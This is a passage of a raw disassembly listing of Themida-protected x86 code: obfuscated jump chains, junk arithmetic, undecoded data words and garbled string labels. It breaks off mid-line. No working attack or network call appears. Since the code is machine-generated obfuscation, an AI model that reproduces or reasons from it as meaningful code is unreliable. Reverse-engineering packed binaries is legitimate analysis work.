loc_56BC1E: ; CODE XREF: Themida_:00568777j add ecx, 4 push 2412h mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx push dword ptr [esp] pop ebp jmp loc_562FA2 ; --------------------------------------------------------------------------- aIus@ db '‰ãéß@',0 align 2 dw 0C281h dd 3DDF71F0h, 95FEE95Fh, 0B7BB0000h, 501AED58h, 0BC6866B8h dd 58C3214Bh, 0C4AF381h, 61E97B32h db 0ADh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56BC6F: ; CODE XREF: Themida_:00570967j pop dword ptr [esp] jmp loc_56D7C9 ; --------------------------------------------------------------------------- aISwu db 'ˆÔéwž',0 align 2 dw 0AD68h dd 0FF258659h, 16E92434h, 0C1FFFF87h, 0E18104E9h, 182837AFh dd 0FF18149h, 133B35Eh, 0E82959C8h, 934E2C2Dh, 95E3E933h dd 0F180FFFFh, 0E9CC306Fh, 0FFFFBE26h, 5C240487h, 0B8E95056h dd 5300003Ch, 13ABE9h, 0F7895E00h, 7FF2E95Eh, 91350000h dd 893E921Dh, 24048BC7h, 0E9E18951h, 0FFFF7944h ; --------------------------------------------------------------------------- loc_56BCE0: ; CODE XREF: Themida_:00575495j mov ebp, esp jmp loc_564EE0 ; --------------------------------------------------------------------------- loc_56BCE7: ; CODE XREF: Themida_:00574CACj add ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_573F03 ; --------------------------------------------------------------------------- loc_56BCF8: ; CODE XREF: Themida_:0056F253j and ebp, 3488447Ch sub esp, 4 jmp loc_564538 ; --------------------------------------------------------------------------- loc_56BD09: ; CODE XREF: Themida_:005642A4j xchg ebx, [esp] pop esp mov edx, [esp] add esp, 4 push 2194h jmp loc_56F186 ; --------------------------------------------------------------------------- dd 360055Fh, 0E801464Eh, 4E03602Dh, 0E9E95D46h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56BD33: ; CODE XREF: Themida_:005632D3j push ebp mov ebp, 0DE9FDE78h jmp loc_56159D ; --------------------------------------------------------------------------- dw 0AF0Fh dd 0E99C51C8h, 0FFFF52FAh, 33240C31h, 248B240Ch, 2595E924h dd 0C1880000h, 5859CF88h, 2853C780h, 241C8BFCh, 4C481h dd 0E3880000h, 2EEB8058h, 6BDEE9h, 1074B800h, 0A12D73FAh dd 212D5EA7h, 0C18158C1h, 73144197h, 0F759CF89h, 814F4FD7h dd 0FFFFFFC7h, 8336E9FFh, 0C90B0000h, 0EC16840Fh, 0EC83FFFFh dd 7ED76804h, 24890000h, 24048324h, 0E2C6E904h, 0E955FFFFh dd 0FFFFC2BCh ; --------------------------------------------------------------------------- loc_56BDBC: ; CODE XREF: Themida_:0056695Fj or ecx, 10326ECCh jmp loc_5689A5 ; --------------------------------------------------------------------------- db 8Bh dd 0F4E9243Ch, 5C000088h, 0FF526DE9h, 74FF51FFh, 0E9590424h dd 0FFFF70B7h, 165368h, 241C8900h, 66685B54h, 0E9000010h dd 1707h, 0FEBB5356h, 8979466Bh, 0D6F75BDEh, 4F69EE81h dd 0F6E95763h, 8BFFFFD3h, 0C892424h, 4EC8124h, 89000000h dd 0BA522424h, 4, 4245401h, 0E92434FFh, 0FFFFD700h, 6240E959h dd 0E95CFFFFh, 0FFFFC491h, 9D617B05h, 14B7052Ah, 0D8013384h dd 8414B72Dh, 617B2D33h, 342D2A9Dh, 5575EC10h, 71066856h dd 0E95E7F58h, 0FFFF719Eh, 57D830ACh, 88E9E789h, 89FFFF9Dh dd 5A542414h, 931E953h, 48F0000h, 0FF8DE924h, 0C383FFFFh dd 74FF5304h, 8F5B0424h, 248B2404h, 4AE0424h, 2CD028DBh dd 0FFAE2CDBh, 815A2434h, 4C4h, 5F685100h, 89000072h, 10B22414h dd 0D530CDB5h, 8124148Bh, 4C4h, 2A34E900h, 0C1810000h dd 69081F42h, 240C875Dh, 0FF87F1E9h db 0FFh ; --------------------------------------------------------------------------- loc_56BECD: ; CODE XREF: Themida_:0057059Aj add edx, eax jmp loc_57535A ; --------------------------------------------------------------------------- loc_56BED4: ; CODE XREF: Themida_:00566D61j pop esi add esp, 4 shr eax, 0Ch xor eax, ecx jmp loc_56FE36 ; --------------------------------------------------------------------------- dw 8159h dd 4C4h, 4C38100h, 0E9000000h, 3A79h, 0D2B65266h, 5A66F400h dd 4EC81h, 2DE90000h, 31FFFF6Ch, 0EFC15EF7h, 0EF814703h dd 6325371Bh, 0FFFA1FE9h, 240C87FFh, 0BE56575Ch, 55082DD4h dd 7DDEBD55h, 0EE31414Ch, 2E6C15Dh, 0E9D6F74Eh, 9DB1h ; --------------------------------------------------------------------------- loc_56BF38: ; CODE XREF: Themida_:0056715Fj xor dl, bh pop bx jmp loc_566329 ; --------------------------------------------------------------------------- db 0F7h, 0DFh, 0F7h dd 0F1E781DFh, 4712F50Eh, 0F562C781h, 0FE89EFABh, 2474015Fh dd 0DB61E904h, 0E089FFFFh, 7125E9h, 2434FF00h, 5854505Ah dd 405h, 0EC815200h, 4, 83240C89h, 3C8904ECh, 1A05BF24h dd 8FE97A64h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_56BF8B: ; CODE XREF: Themida_:00576B21j add ebx, 4 xchg ebx, [esp] pop esp push edx mov edx, 2 sub ebp, edx pop edx xor ebp, [esp] xor [esp], ebp jmp loc_56854D ; --------------------------------------------------------------------------- dw 24BBh dd 89000000h, 0F372E9DDh, 0EB29FFFFh, 51242C8Bh, 0C181E189h dd 4, 4C181h, 0C870000h, 0C9F9E924h, 0B652FFFFh, 48EE808Bh dd 0E6C0D6F6h, 80CEFE03h, 0B75340EEh, 5BF828C3h, 1E9F028h dd 31FFFF7Dh, 3180E9EAh, 0C8300000h, 592434FFh, 0DAE95455h dd 81000094h, 4C5h, 4C58300h, 8B242C87h, 48F2424h, 0AF77E924h dd 0F309FFFFh, 8324348Bh, 0EBC104C4h, 2352E907h, 17E90000h db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C02B: ; CODE XREF: Themida_:0056A8FCj add esp, 4 add edx, 36E756BCh sub edx, 91A254Fh add edx, esi push eax mov eax, 305D5500h sub eax, 615E6673h xor eax, 524570CCh shl eax, 8 neg eax shr eax, 5 add eax, 6F71757h add edx, eax pop eax push eax mov eax, 36E756BCh sub edx, eax pop eax jmp loc_57552C ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 14F7243Ch, 0F7575F24h, 815F2414h, 3317A2C7h dd 36FEE922h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56C08A: ; CODE XREF: Themida_:0056B770j sub edx, 2D3418A2h sub edx, 0C245C53Ah add ebp, edx pop edx add ebp, 4 xchg ebp, [esp] mov esp, [esp] push ebx jmp loc_5725E0 ; --------------------------------------------------------------------------- dd 240C8B66h, 57E68956h, 4EC81h, 34890000h, 4EC8324h, 0E9240489h dd 0FFFFB936h ; --------------------------------------------------------------------------- loc_56C0C4: ; CODE XREF: Themida_:0056823Aj bt [esp], eax pushf jmp loc_561042 ; --------------------------------------------------------------------------- dw 0D35Ch dd 0E99C2424h, 0FFFF4F6Ah, 6F3C68h, 7C34E900h, 34FF0000h dd 49685B24h, 89000010h, 7BE92404h, 33FFFF7Fh, 3C31243Ch dd 243C3324h, 102E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_56C102: ; CODE XREF: Themida_:0056EDB3j push esp pop esi jmp loc_56B643 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0FFC0B60Fh, 51558734h, 0E0389D68h, 12E95937h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56C11F: ; CODE XREF: Themida_:00566667j xor ecx, 16F24773h xor ecx, 6B5E442Ch inc ecx xor ecx, 397E6911h xor ecx, 2A9761F6h jmp loc_567937 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 89241C89h, 0AB81E9E3h, 0FE89FFFFh, 81DEF75Fh, 0C04A5AEEh dd 0B67BE979h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C15A: ; CODE XREF: Themida_:0056B6BBj add edx, 4 xchg edx, [esp] pop esp push ebx mov ebx, 0E7E3236h push 70D3h mov [esp], edx mov edx, 39B79ADh add edx, 0FFFFFFFFh xchg edi, edx not edi xchg edi, edx push edx push eax mov eax, 0FFFFFFFFh sub [esp+4], eax jmp loc_562E1F ; --------------------------------------------------------------------------- db 81h dd 4C5h, 2C58300h, 2474FF55h, 2434FF04h, 0E9242C8Bh, 47E8h ; --------------------------------------------------------------------------- loc_56C1AC: ; CODE XREF: Themida_:005666ECj push esi push dword ptr [esp] jmp loc_56CF25 ; --------------------------------------------------------------------------- db 50h, 0E9h, 0Ah dd 1FFFFFBh, 1C8759CBh, 24248B24h, 6602EC83h, 66243C89h dd 83535652h, 2C8904ECh, 2FBD6624h, 0EB89665Bh, 6BE9E9h dd 37045C00h, 47E9D828h, 5C00004Bh, 12D8E9h db 0 ; --------------------------------------------------------------------------- loc_56C1F1: ; CODE XREF: Themida_:00565288j pop ebp sub eax, 4DB10DA0h sub eax, 1036080Dh add eax, edi push esi jmp loc_56EEFF ; --------------------------------------------------------------------------- dd 240C8966h, 8671E9h, 74FF5500h, 2C8B0424h, 4EC8324h dd 89243C89h, 4C781E7h, 81000000h, 4C7h, 8145E900h, 0BD550000h dd 11CB2E86h, 515DE989h, 0E92414F7h, 0FFFFD6EBh, 4EC815Bh dd 0E9000000h, 0FFFF644Dh ; --------------------------------------------------------------------------- loc_56C24C: ; CODE XREF: Themida_:00567814j pop dword ptr [esp] pop esp push esp jmp loc_563E0E ; --------------------------------------------------------------------------- loc_56C256: ; CODE XREF: Themida_:005725E1j pop ebx push eax mov eax, 58236BECh jmp loc_56132D ; --------------------------------------------------------------------------- dw 0E801h aLSvt db '‹,$éVT',0 align 4 loc_56C26C: ; CODE XREF: Themida_:00566F1Ej mov [esp], ebp sub esp, 4 mov [esp], esp jmp loc_56CD6A ; --------------------------------------------------------------------------- loc_56C27D: ; CODE XREF: Themida_:00573A84j push eax jmp loc_56179B ; --------------------------------------------------------------------------- db 89h dd 4C581E5h, 83000000h, 2C8704C5h, 91685C24h, 89000015h dd 0EC81243Ch, 4, 81242489h, 42404h, 1FE90000h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_56C2AF: ; CODE XREF: Themida_:00569578j mov [esp], ebp push ecx mov ecx, 79234C40h jmp loc_56230A ; --------------------------------------------------------------------------- db 0B9h, 1Ch, 51h dd 0C9816C8Bh, 0DEA13A6h, 3259E9h, 0F0E94200h db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C2D3: ; CODE XREF: Themida_:0056B0DAj inc cl sub cl, 85h jmp loc_575F50 ; --------------------------------------------------------------------------- db 81h, 0CDh, 36h dd 56160D69h, 615B99BEh, 0F3CE810Dh, 0C10C6236h, 0EEC103E6h dd 9859E902h, 0E8290000h, 58C1015Dh, 4EC81h, 2C890000h dd 3E69BD24h, 0ED810AF1h, 6D83688h, 15DE931h, 8191E9CFh dd 0EB80FFFFh, 0F627E92Ah, 2489FFFFh, 24048124h, 4, 4EC8159h dd 89000000h, 6EBD242Ch, 810EF415h, 0FA2609C5h, 0D826E96Ch dd 0C483FFFFh, 1C4F0904h, 4CECE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C356: ; CODE XREF: Themida_:0057562Ej push dword ptr [esp+4] mov edx, [esp] jmp loc_5683F4 ; --------------------------------------------------------------------------- loc_56C362: ; CODE XREF: Themida_:0056ED2Bj sub ecx, 1 sub ecx, 0DBFCB742h add ebp, ecx pop ecx pop eax inc ebp push esi push 0D7550B1h pop esi inc esi xor esi, 1855190Eh shr esi, 7 jmp loc_573F51 ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48124h, 51000000h, 0C1815954h, 4, 0FF5B39E9h, 8BF529FFh dd 0C4812434h, 4, 5EE9E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56C3AE: ; CODE XREF: Themida_:0056F6C3j mov [esp], ebx mov ebx, 76845C59h inc ebx xor ebx, 21400DA7h shr ebx, 2 add ebx, 0EA0EEB85h sub edi, ebx pop ebx jmp loc_570C94 ; --------------------------------------------------------------------------- dw 34FFh dd 243C8B24h, 4C481h, 0C4830000h, 4BA5204h, 1000000h, 0C0685AD7h dd 89000041h, 0BB532404h, 75CF4234h, 4717E9h, 0BDF58100h dd 0E98FE6BDh, 0FFFFFBE7h, 4C04EA81h, 68594B5Fh, 3542h dd 0BE243489h, 589C43AAh, 0BC5AC681h, 0EA81A763h, 6DD53711h dd 0FFCE51E9h, 4C581FFh, 0E9000000h, 70ECh, 3772C381h dd 295879FFh, 76C068C3h, 3C890000h, 603C6824h, 3C8B49E3h dd 0E3895324h, 0FF74A7E9h, 4C781FFh, 81000000h, 4C7h, 243C8700h dd 0FE015E5Ch, 83243C8Bh, 0EC8304C4h, 243C8904h, 75776850h dd 0F7583C35h, 0D0F748D8h, 1B05CC2Dh, 8BC78921h, 0C4832404h dd 5EFC104h, 8FEF814Fh, 0E968CE29h, 80C4h, 6859C801h, 2828h dd 0B9240C89h, 4CBA386Dh, 0BE12E981h, 0A9E92D49h db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56C4B7: ; CODE XREF: Themida_:0056BAFDj push 29C3h mov [esp], edi jmp loc_56C81D ; --------------------------------------------------------------------------- loc_56C4C4: ; CODE XREF: Themida_:005659EDj mov edi, eax pop eax add dword ptr [esp+8], 2E5E2080h sub [esp+8], edi sub dword ptr [esp+8], 2E5E2080h jmp loc_563DDA ; --------------------------------------------------------------------------- dd 9C242CD3h, 0FF80C7E9h db 0FFh ; --------------------------------------------------------------------------- loc_56C4E9: ; CODE XREF: Themida_:0056EEFAj xor ebp, [esp] mov esp, [esp] mov ax, [esp] sub esp, 4 mov [esp], esi mov esi, esp push ecx mov ecx, 4 push edx mov edx, 15205122h xor edx, 27C23429h add esi, edx jmp loc_5720A4 ; --------------------------------------------------------------------------- loc_56C514: ; CODE XREF: Themida_:0056F24Dj sub eax, 68836AA0h jmp loc_56DE51 ; --------------------------------------------------------------------------- dw 0E953h dd 0FFFF830Fh, 0E4ABE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C52A: ; CODE XREF: Themida_:0056511Ej pop edi push esi jmp loc_56112B ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 0E7895724h, 4C781h, 0EF830000h, 0A396E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C546: ; CODE XREF: Themida_:00573035j sub edi, 4 xchg edi, [esp] pop esp mov [esp], eax mov eax, 36AAE91Eh add ebp, eax pop eax add ebx, ebp pop ebp mov eax, [esp] add esp, 4 push 5539h mov [esp], edx push 3DB65D4Fh pop edx jmp loc_564CD7 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4C28100h, 87000000h, 815C2414h, 4C2h, 2C28300h dd 8B241487h, 0B60F2424h, 2E74E9C0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56C59E: ; CODE XREF: Themida_:00567B92j mov ebp, 59C064FDh and edi, ebp jmp loc_566AE1 ; --------------------------------------------------------------------------- aXhg db 'Xhƒ)',0 align 10h dd 55240C89h, 380CC568h, 0F5815D11h, 60E65268h, 7B0DF581h dd 0E9894BD9h, 14F7515Dh, 240C8B24h, 51E78957h, 4B9h, 8BCF0100h dd 0C483240Ch, 4C78304h, 0FFE4BAE9h, 0BE5658FFh, 5AD63771h dd 0C893C681h, 0F001A529h, 8124348Bh, 4C4h, 0A6E95600h db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56C607: ; CODE XREF: Themida_:00575F99j mov [esp], ebx push esi push 1F0A6443h jmp loc_572658 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 0E0892404h, 405h, 42D00h, 4870000h, 0A524E924h dd 685CFFFFh, 6012h, 54241C89h, 81241C8Bh, 4C4h, 364E6800h dd 0C890000h, 33B6B924h, 0E1C10E56h, 0BCE98105h, 1CAC676h dd 2434FFCBh, 0FFF87DE9h, 243C89FFh, 2BA2E9h db 0 ; --------------------------------------------------------------------------- loc_56C66D: ; CODE XREF: Themida_:0056B838j add edx, ebx jmp loc_571417 ; --------------------------------------------------------------------------- loc_56C674: ; CODE XREF: Themida_:00569FE4j pop edx push dword ptr [esp] pop ebx add esp, 4 jmp loc_562EEF ; --------------------------------------------------------------------------- loc_56C684: ; CODE XREF: Themida_:005716A8j mov edx, 53A9AA09h mov esi, edx pop edx sub ecx, esi pop esi push ecx mov edx, [esp] add esp, 4 mov ecx, [esp] add esp, 4 jmp loc_56B758 ; --------------------------------------------------------------------------- loc_56C6A1: ; CODE XREF: Themida_:00574D5Ej push dword ptr [esp] pop ecx jmp loc_57080F ; --------------------------------------------------------------------------- loc_56C6AA: ; CODE XREF: Themida_:0056BB0Fj mov ebx, [esp] add esp, 4 push edi mov edi, 4 add ebx, edi jmp loc_568AE8 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0E9240C89h, 0FFFFFF4Dh, 98E96D04h, 4FFFFFDFh, 6BFC781h dd 0F8897122h, 0FF849CE9h, 0B1E945FFh, 89FFFF54h, 405E0h dd 39E90000h, 30FFFF91h, 2A2C5AD3h, 0E952D800h, 5C20h dd 6917BF58h, 0C7297A17h, 3874E958h, 48F0000h, 9AE95C24h dd 0BB0000A1h, 4C783320h, 0FFE141E9h, 5DEA29FFh, 295AD301h dd 41EB81FBh, 0FF68F049h, 525F2434h, 5712E9h db 0 ; --------------------------------------------------------------------------- loc_56C735: ; CODE XREF: Themida_:00565D48j pop ecx jmp loc_56D3FE ; --------------------------------------------------------------------------- db 0BBh dd 7CF9229Ah, 0F7EB8143h, 4B4B240Dh, 8103E3C1h, 0C35B1FEBh dd 5493E952h, 34FF0000h, 240C8B24h, 4C481h, 0CE90000h dd 81FFFF8Ch, 0A805EEBh, 0FFDA8980h, 565B2434h, 0C681E689h dd 4, 0E9565557h, 148Ch ; --------------------------------------------------------------------------- loc_56C784: ; CODE XREF: Themida_:00574CB2j sub ebp, 2 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], cx jmp loc_56667E ; --------------------------------------------------------------------------- dd 5B2414F7h, 0E9E9D3F7h, 0BB000052h, 19D85AF5h, 0A50FC381h dd 0DA01E627h, 0BB53555Bh, 5C925EC9h, 0BFD49BBDh, 5BDD01F4h dd 6803EDC1h, 34EFh, 0BE243489h, 3A24513Ch, 6DE1F681h dd 0E681179Fh, 4F3E3E96h, 8105EEC1h, 4F0FA5EEh, 6E6C149h dd 73EBC681h, 68E9A080h, 89FFFFDEh, 481240Ch, 0A776FD24h dd 0EB815B1Dh, 1DA776FDh, 0FFDBBAE9h db 0FFh ; --------------------------------------------------------------------------- loc_56C80D: ; CODE XREF: Themida_:0056AC70j mov [esp], eax jmp loc_564F35 ; --------------------------------------------------------------------------- db 80h, 0C4h, 0B9h dd 460E9h db 0 ; --------------------------------------------------------------------------- loc_56C81D: ; CODE XREF: Themida_:0056C4BFj mov edi, 4 add edx, edi jmp loc_565D5C ; --------------------------------------------------------------------------- loc_56C829: ; CODE XREF: Themida_:00561435j add edx, 0D0802302h push edx add dword ptr [esp], 25922CE2h pop ebx jmp loc_56287E ; --------------------------------------------------------------------------- loc_56C83D: ; CODE XREF: Themida_:005721A3j push esp pop edi jmp loc_563D65 ; --------------------------------------------------------------------------- dd 28C1F580h, 400459E8h, 5B2434FFh, 1431E9h db 0 ; --------------------------------------------------------------------------- loc_56C855: ; CODE XREF: Themida_:00566FDCj sub eax, 8E7781Bh add eax, 2C825F9Fh mov ecx, [esp] add esp, 4 jmp loc_56785F ; --------------------------------------------------------------------------- db 5Ah, 81h, 0CAh dd 6B851698h, 0FF9ED4E9h, 35E95BFFh, 8B000098h, 0C4832404h dd 74FF5704h, 8F5F0424h, 248B2404h, 2434FF24h, 4EA9E9h dd 7F685900h, 8900001Fh, 2168243Ch, 5F4B2A1Eh, 0E902EFC1h dd 0FFFF6E97h, 0BB53C229h, 22D6127Dh, 0F381DBF7h, 0B494AD9Eh dd 35B8E9h db 0 ; --------------------------------------------------------------------------- loc_56C8C5: ; CODE XREF: Themida_:00575379j mov edx, 3A6865E5h dec edx neg edx add edx, 7161BBDh add edx, 6AB60ACFh shr edx, 5 jmp loc_569868 ; --------------------------------------------------------------------------- db 81h, 0C6h, 56h dd 0FF69D268h, 81582434h, 4C4h, 6A0CE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56C8F6: ; CODE XREF: Themida_:005739E1j push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_574451 ; --------------------------------------------------------------------------- loc_56C90C: ; CODE XREF: Themida_:0056569Aj add edi, 4 jmp loc_570C09 ; --------------------------------------------------------------------------- db 68h dd 2A55h, 51240489h, 8D0EE9h db 0 ; --------------------------------------------------------------------------- loc_56C925: ; CODE XREF: Themida_:00565857j add eax, 66B74D26h add eax, 714A0576h sub edx, eax pop eax jmp loc_564DE5 ; --------------------------------------------------------------------------- db 0B3h dd 5BDD00FCh, 0E8005B2Ch, 0FFDEE9E9h, 240C8BFFh, 4C481h dd 0C52D0000h, 1512D0Ah, 0AC505D8h, 0D2E9512Dh db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C95F: ; CODE XREF: Themida_:005740CBj pop esp pop dword ptr [esp] pop esp div cl movzx cx, ah push ebp push 344Fh mov [esp], esp push eax jmp loc_566018 ; --------------------------------------------------------------------------- loc_56C979: ; CODE XREF: Themida_:005670A3j and ebp, 3F46F8Eh add ebp, 39696308h or ebp, 720A5549h dec ebp xor ebp, 60004D61h jmp loc_57302C ; --------------------------------------------------------------------------- db 81h dd 4ECh, 243C8900h, 2422E8BFh, 873DBB47h, 0FB29BFA4h, 5F2434FFh dd 0C104C483h, 814305E3h, 569ECAC3h, 8DC6816Bh, 292CFD42h dd 0E16DE9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C9CA: ; CODE XREF: Themida_:0056713Ej push dword ptr [edi+eax*4] push dword ptr [esp] pop eax push 59FCh mov [esp], eax jmp loc_56F19D ; --------------------------------------------------------------------------- loc_56C9DE: ; CODE XREF: Themida_:00569F52j sub ebp, 1B57755Eh xor ebp, 0DC12368Ch mov edi, ebp pop ebp add ebp, edi jmp loc_574CB1 ; --------------------------------------------------------------------------- loc_56C9F4: ; CODE XREF: Themida_:00564175j sub eax, ebp jmp loc_56DF22 ; --------------------------------------------------------------------------- loc_56C9FB: ; CODE XREF: Themida_:00563EE3j add ebx, 2 xchg ebx, [esp] mov esp, [esp] movzx eax, al mov dx, [esp] jmp loc_56E0C5 ; --------------------------------------------------------------------------- loc_56CA13: ; CODE XREF: Themida_:0056AF59j push ebx mov ebx, 4 add edx, ebx pop ebx push ebp mov ebp, 53327D36h not ebp shl ebp, 5 xor ebp, 99B05924h jmp loc_56416E ; --------------------------------------------------------------------------- loc_56CA32: ; CODE XREF: Themida_:00570869j xor al, cl mov ecx, [esp] add esp, 4 jmp loc_564BCB ; --------------------------------------------------------------------------- db 0BEh dd 2, 335EF301h, 0B9E9241Ch, 59FFFFD0h, 0FFFC9AE9h, 1479BAFFh dd 0E3B86D9Ch, 1BAC740h, 0A1C2E9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 5C5C638Bh dec eax add eax, 0A3A39C7Ah add ebp, eax pop eax jmp loc_5666C7 ; --------------------------------------------------------------------------- db 0C0h, 0EFh, 6 dd 0E9EBB652h, 0FFFFC85Fh, 41B8E981h, 0D12901E8h, 41B8C181h dd 55E901E8h, 66FFFFBBh, 28E02C5Ah, 0E7E953D8h, 4A00002Bh dd 0C103EAC1h, 0EA8102E2h, 0FFFFFFFFh, 0C281D2F7h, 0E7E341Dh dd 6FE9D031h, 89FFFF6Eh, 0E789243Ch, 0F135E950h, 0BB53FFFFh dd 4, 6769EA81h, 0DA011BF0h, 6769C281h, 0E95B1BF0h, 0FFFFA8B3h dd 5C243487h, 4246C81h, 65EF5986h, 203BB53h, 5C0107EEh dd 0BCE90824h db 95h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56CB03: ; CODE XREF: Themida_:0056D3AFj shl edx, 1 push esi mov esi, esp jmp loc_56744F ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 14B7E924h, 0EA810000h, 25067686h, 0C281F229h, 25067686h dd 4EC835Eh, 7669E9h, 3E1C100h, 0D327E981h, 0CB29B653h dd 0FF88BBE9h, 256852FFh, 5A186F46h, 7241E9h, 56E78900h dd 4BEh, 5EF70100h, 4C781h, 0FF570000h, 5F042474h, 0E924048Fh dd 0FFFF5838h, 5D19C381h, 0F3010460h, 5D19EB81h, 685E0460h dd 2D84h, 0FF4CC1E9h, 20C781FFh, 2924B925h, 20EF81CFh dd 8724B925h, 0E1D15FF9h, 21C7C181h, 0C9816DA9h, 2BA6401Bh dd 7936C181h, 0F1E9456Bh, 89FFFFF8h, 0CBBD242Ch, 55144F79h dd 875F5D57h, 8D8EE9D7h, 0B4500000h, 0BC38077h, 0EB80E328h dd 618EE90Bh, 0EC810000h, 4, 81242489h, 42404h, 0E0E90000h db 93h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56CBE3: ; CODE XREF: Themida_:0056A7FEj mov ebp, 0F790576h jmp loc_56F072 ; --------------------------------------------------------------------------- loc_56CBED: ; CODE XREF: Themida_:00575908j push ebx mov ebx, 40E91B16h jmp loc_569D1F ; --------------------------------------------------------------------------- dd 51241C89h, 0FF8A5FE9h, 0EC815BFFh, 4, 54240489h, 4EC8358h dd 0E9243C89h, 7B0Bh, 0BAE9DFF7h db 60h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56CC1F: ; CODE XREF: Themida_:00571E90j xor edx, 7BB3150Bh add ebp, edx jmp loc_5610B4 ; --------------------------------------------------------------------------- dd 6E95466h, 53FFFFD7h, 0C381E389h, 4, 8704EB83h, 0D7E9241Ch dd 81FFFF5Ah, 994483C3h, 92EB816Fh, 8129793Dh, 0FA3584EBh dd 36BD550Eh, 452CE367h, 204CE581h, 0D5F73F5Bh, 2EDC145h dd 1ED81h, 0ED810000h, 0B11BF295h, 0FFF335E9h, 7FEC80FFh dd 8876F480h, 24048BE6h, 0FFB445E9h, 0CD8159FFh, 53F306C5h dd 0E906E5C1h, 0FFFFD310h, 0E9240487h, 0FFFFF547h, 8924248Bh dd 93E9240Ch, 33FFFF43h, 248B2404h, 4388E924h, 8B66FFFFh dd 0E9532434h, 499Fh ; --------------------------------------------------------------------------- loc_56CCC4: ; CODE XREF: Themida_:0057098Fj pop edx jmp loc_5734A5 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 8B241C87h, 0B6682424h, 89000016h, 0E9532414h, 0FFFF55EAh dd 8904EC83h, 4832424h, 348B0424h, 4C48124h, 55000000h dd 8D717FBDh, 7BED8150h, 0E9508D71h, 0FFFFE22Ah ; --------------------------------------------------------------------------- loc_56CD08: ; CODE XREF: Themida_:0056191Aj mov edx, 78EF24DCh sub edx, 79012771h jmp loc_576892 ; --------------------------------------------------------------------------- loc_56CD18: ; CODE XREF: Themida_:00573952j mov ch, bl mov ebx, [esp] jmp loc_563E63 ; --------------------------------------------------------------------------- dw 34FFh dd 9FE95824h, 0F6000002h, 0E99C241Ch, 0FFFF430Eh, 3D4BF57h dd 0FA8959B6h, 4E2C15Fh, 8FE94A4Ah, 5EFFFFDAh, 8A5AE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56CD4E: ; CODE XREF: Themida_:00565154j mov edi, 4 jmp loc_57324B ; --------------------------------------------------------------------------- dd 2B32CF81h, 814728A5h, 36029AE7h, 0AE7EE94Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56CD6A: ; CODE XREF: Themida_:0056C278j sub esp, 4 mov [esp], edx push ebp jmp loc_56F612 ; --------------------------------------------------------------------------- db 0F6h, 0D0h, 0FEh dd 2CC8FEC8h, 0E9C30034h, 0FFFF5430h, 2620E94Ah, 34FF0000h dd 2434FF24h, 0E0895058h, 4BB5351h, 89000000h, 0C8015BD9h dd 3FB8E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56CDAA: ; CODE XREF: Themida_:00568A5Fj pop ecx push ecx mov ecx, 279D390Dh or esi, ecx mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push eax mov eax, 5216547Fh inc eax push edx mov edx, 7A990707h and eax, edx pop edx xor eax, 78D348BCh jmp loc_567060 ; --------------------------------------------------------------------------- loc_56CDE0: ; CODE XREF: Themida_:005735C0j pop edi jmp loc_561997 ; --------------------------------------------------------------------------- dw 81ADh dd 0A96C09C6h, 0E9C6011Bh, 0FFFF9FFCh ; --------------------------------------------------------------------------- loc_56CDF4: ; CODE XREF: Themida_:00563E18j pop ecx sub esp, 4 mov [esp], edx jmp loc_56BB1E ; --------------------------------------------------------------------------- aF3Ssk db 'f3,$ééK',0 db 0 ; --------------------------------------------------------------------------- loc_56CE09: ; CODE XREF: Themida_:0056B8E1j push ebx mov ebx, 11741668h jmp loc_568755 ; --------------------------------------------------------------------------- dd 3260BF57h, 0FB894C7Ah, 0F7E9435Fh, 50FFFF8Fh, 0D9B8EFB8h dd 0E9C501CDh, 4FC0h, 4C681h, 0E9510000h, 0FFFF65CEh, 0B03F33BBh dd 1EB8154h, 53000000h, 0FFF94FE9h, 37B652FFh, 0E95AF520h dd 2DFh, 0E99C5066h, 0FFFF41E2h, 0DD0A3BB9h, 0A3FBE15h dd 0CE3115DDh, 30EF8159h, 